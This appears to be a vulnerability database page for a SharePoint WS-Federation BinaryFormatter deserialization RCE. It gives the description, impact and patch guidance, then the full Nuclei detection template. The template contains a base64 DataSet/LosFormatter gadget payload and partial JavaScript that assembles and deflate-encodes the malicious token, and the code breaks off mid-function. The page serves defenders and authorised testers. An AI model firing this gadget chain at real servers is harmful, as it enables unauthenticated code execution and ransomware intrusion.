Browse / CVEs / CVE-2026-58644
CVE-2026-58644· microsoft / sharepoint server· CWE-502
Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE
Exploited in the wild. Listed by CISA on 2026-07-16; known to be used by ransomware.
Microsoft SharePoint Server (2016, 2019, Subscription Edition <= 2026.3.1) contains a remote code execution vulnerability in the WS-Federation passive sign-in endpoint (/_trust/default.aspx). The SharePoint authentication module (SPFederationAuthenticationModuleV2) uses a deflate-only DeflateCookieTransform (no MAC/signature check) to decode and BinaryFormatter to deserialize the SecurityContextToken Cookie value in the wresult parameter without type restrictions. An unauthenticated attacker can send a crafted WS-Federation token containing a BinaryFormatter gadget chain (DataSet + LosFormatter + XamlAssemblyLoadFromFile) to execute arbitrary code in the context of the IIS application pool identity (w3wp.exe). The fix (KB5002882, July 2026 CU) replaces the DeflateCookieTransform with NotSupportedCookieTransform, making ReadToken() throw before deserialization.
Impact
Unauthenticated attackers can achieve remote code execution as the SharePoint application pool identity (typically a domain service account). This enables full SharePoint farm compromise, machine key extraction for persistent forged authentication tokens, and lateral movement within the domain.
Fix
Apply the July 2026 Cumulative Update (KB5002882 / build 16.0.19725.20434 or later). After patching, rotate farm machine keys using Set-SPMachineKey or Update-SPMachineKey and perform iisreset to revoke any pre-compromise stolen keys. Enable AMSI request-body scanning for /_trust/default.aspx as defense in depth.
How to confirm it
Send: GET /_trust/default.aspx
Positive when: contains(tolower(header), "microsoftsharepointteamservices")
Send: POST /_trust/default.aspx
Positive when: contains(tolower(header), "x-nuclei")Run it with nuclei: nuclei -id CVE-2026-58644 -u <target>
The full check
id: CVE-2026-58644
info:
name: Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE
author: pdteam
severity: critical
description: |
Microsoft SharePoint Server (2016, 2019, Subscription Edition <= 2026.3.1) contains a remote code execution vulnerability in the WS-Federation passive sign-in endpoint (/_trust/default.aspx). The SharePoint authentication module (SPFederationAuthenticationModuleV2) uses a deflate-only DeflateCookieTransform (no MAC/signature check) to decode and BinaryFormatter to deserialize the SecurityContextToken Cookie value in the wresult parameter without type restrictions. An unauthenticated attacker can send a crafted WS-Federation token containing a BinaryFormatter gadget chain (DataSet + LosFormatter + XamlAssemblyLoadFromFile) to execute arbitrary code in the context of the IIS application pool identity (w3wp.exe). The fix (KB5002882, July 2026 CU) replaces the DeflateCookieTransform with
NotSupportedCookieTransform, making ReadToken() throw before deserialization.
impact: |
Unauthenticated attackers can achieve remote code execution as the SharePoint application pool identity (typically a domain service account). This enables full SharePoint farm compromise, machine key extraction for persistent forged authentication tokens, and lateral movement within the domain.
remediation: |
Apply the July 2026 Cumulative Update (KB5002882 / build 16.0.19725.20434 or later). After patching, rotate farm machine keys using Set-SPMachineKey or Update-SPMachineKey and perform iisreset to revoke any pre-compromise stolen keys. Enable AMSI request-body scanning for /_trust/default.aspx as defense in depth.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-58644
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-58644
- https://github.com/WismanSec/sharepoint-2026-poc
- https://www.rapid7.com/blog/post/etr-cve-2026-58644-microsoft-sharepoint-server-unauthenticated-remote-code-execution-vulnerability-exploited-in-the-wild/
- https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF1_Release_Notes.htm
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-58644
cwe-id: CWE-502
epss-score: 0.15873
epss-percentile: 0.96911
metadata:
verified: true
max-request: 2
vendor: microsoft
product: sharepoint_server
shodan-query: http.component:"sharepoint"
fofa-query: app="Microsoft-SharePoint"
tags: cve,cve2026,sharepoint,rce,deserialization,microsoft,kev,vkev
variables:
dataset_gadget_b64: 'AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0AgAAAAlYbWxTY2hlbWELWG1sRGlmZkdyYW0BAQIAAAAGAwAAAKEKPHhzOnNjaGVtYSB4bWxucz0iIiB4bWxuczp4cz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zOm1zZGF0YT0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp4bWwtbXNkYXRhIiBpZD0ic29tZWRhdGFzZXQiPg0KICAgICAgICAgICAgICAgIDx4czplbGVtZW50IG5hbWU9InNvbWVkYXRhc2V0IiBtc2RhdGE6SXNEYXRhU2V0PSJ0cnVlIiBtc2RhdGE6VXNlQ3VycmVudExvY2FsZT0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjaG9pY2UgbWluT2NjdXJzPSIwIiBtYXhPY2N1cnM9InVuYm91bmRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0iaGVoZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eHM6ZWxlbWVudCBuYW1lPSJwd24iIG1zZGF0YTpEYXRhVHlwZT0iU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uRGF0YS5TZXJ2aWNlcy5JbnRlcm5hbC5FeHBhbmRlZFdyYXBwZXJgMltbU3lzdGVtLldlYi5VSS5Mb3NGb3JtYXR0ZXIsIFN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhXSxbU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzVdXSwgU3lzdGVtLkRhdGEuU2VydmljZXMsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0iIHR5cGU9InhzOmFueVR5cGUiIG1pbk9jY3Vycz0iMCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmNob2ljZT4NCiAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICA8L3hzOnNjaGVtYT4GBAAAAMtHPGRpZmZncjpkaWZmZ3JhbSB4bWxuczptc2RhdGE9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206eG1sLW1zZGF0YSIgeG1sbnM6ZGlmZmdyPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOnhtbC1kaWZmZ3JhbS12MSI+DQogICAgICAgICAgICAgICAgPHNvbWVkYXRhc2V0Pg0KICAgICAgICAgICAgICAgICAgICA8aGVoZSBkaWZmZ3I6aWQ9IlRhYmxlIiBtc2RhdGE6cm93T3JkZXI9IjAiIGRpZmZncjpoYXNDaGFuZ2VzPSJpbnNlcnRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cHduIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZFdyYXBwZXJPZkxvc0Zvcm1hdHRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZEVsZW1lbnQvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8UHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE1ldGhvZE5hbWU+RGVzZXJpYWxpemU8L01ldGhvZE5hbWU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8TWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YW55VHlwZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4c2k6dHlwZT0ieHNkOnN0cmluZyI+SEFYPC9hbnlUeXBlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJMb3NGb3JtYXR0ZXIiPjwvT2JqZWN0SW5zdGFuY2U+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvUHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZMb3NGb3JtYXR0ZXJPYmplY3REYXRhUHJvdmlkZXI+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3B3bj4NCiAgICAgICAgICAgICAgICAgICAgPC9oZWhlPg0KICAgICAgICAgICAgICAgIDwvc29tZWRhdGFzZXQ+DQogICAgICAgICAgICA8L2RpZmZncjpkaWZmZ3JhbT4L'
internal_gadget_b64: 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internal_gadget2_b64: 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flow: javascript() && http(1) && http(2)
javascript:
- code: |
const bytess = require("nuclei/bytes");
function u8(arr) { return new Uint8Array(arr); }
function strToBuf(str) {
var b = new bytess.Buffer();
b.WriteString(str);
return b;
}
function encode7BitInt(n) {
if (n === 0) return new bytess.Buffer(u8([0]));
var tmp = [];
while (n > 0) {
var v = n & 0x7F;
n >>>= 7;
if (n > 0) v |= 0x80;
tmp.push(v);
}
return new bytess.Buffer(u8(tmp));
}
function replaceAllBytes(hay, needle, repl) {
var H = hay.Bytes();
var N = needle.Bytes();
var out = new bytess.Buffer();
for (var i = 0; i < H.length;) {
var match = true;
for (var j = 0; j < N.length; j++) {
if (i + j >= H.length || H[i + j] !== N[j]) { match = false; break; }
}
if (match) {
out.Write(repl.Bytes());
i += N.length;
} else {
out.Write(u8([H[i]]));
i++;
}
}
return out;
}
function rawDeflateStored(data) {
var bytes = data.Bytes();
var maxBlock = 65535;
var out = new bytess.Buffer();
for (var offset = 0; offset < bytes.length; offset += maxBlock) {
var blockSize = Math.min(bytes.length - offset, maxBlock);
var isLast = (offset + blockSize >= bytes.length) ? 1 : 0;
// BFINAL|BTYPE(00): for stored block BTYPE=00, first byte = BFINAL (1 bit) | 0 | 0
out.Write(u8([isLast]));
// LEN (2-byte LE) and NLEN = one's complement of LEN (2-byte LE)
var nlen = (~blockSize) & 0xFFFF;
out.Write(u8([blockSize & 0xFF, (blockSize >> 8) & 0xFF]));
out.Write(u8([nlen & 0xFF, (nlen >> 8) & 0xFF]));
out.Write(u8(bytes.slice(offset, offset + blockSize)));
}
return out;
}
// Build DataSet BinaryFormatter gadget with inner gadget replacing HAX placeholder.
// HAX is a 3-byte placeholder inside the DataSet BinaryFormatter binary representing
// the base64-encoded inner LosFormatter gadget string. The DataSet gadget decodes the
// base64 string and passes the binary to LosFormatter.Deserialize().
dataset_gadget_raw = strToBuf(atob(dg));
dataset_gadget_raw1 = replaceAllBytes(
dataset_gadget_raw,
strToBuf("HAX"),
strToBuf(ig)
);
dataset_gadget_raw2 = replaceAllBytes(
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-58644
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-58644
- https://github.com/WismanSec/sharepoint-2026-poc
- https://www.rapid7.com/blog/post/etr-cve-2026-58644-microsoft-sharepoint-server-unauthenticated-remote-code-execution-vulnerability-exploited-in-the-wild/
- https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF1_Release_Notes.htm
Use this check only on systems you are authorised to test. Where the data comes from